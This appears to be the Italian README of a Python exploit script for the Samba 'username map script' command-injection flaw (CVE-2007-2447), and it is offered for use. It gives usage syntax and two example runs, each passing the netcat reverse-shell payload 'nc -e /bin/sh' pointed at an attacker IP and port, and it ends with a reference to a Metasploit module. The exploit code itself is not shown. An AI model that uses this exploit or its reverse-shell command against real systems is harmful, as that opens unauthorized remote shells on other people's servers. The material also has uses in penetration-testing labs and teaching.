
Implementazione in Python dell'exploit RCE 'Username' map script per Samba 3.0.20 < 3.0.25rc3 (CVE-2007-2447).
Implementazione in Python dell'exploit RCE 'Username' map script' per Samba 3.0.20 < 3.0.25rc3 (CVE-2007-2447).
python3 smbExploit.py <IP> <PORT> <PAYLOAD>
Esempi:
python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444'
python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444'
CVE-2007-2447: Vulnerabilità di iniezione di comandi remoti
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Esecuzione di comandi (Metasploit)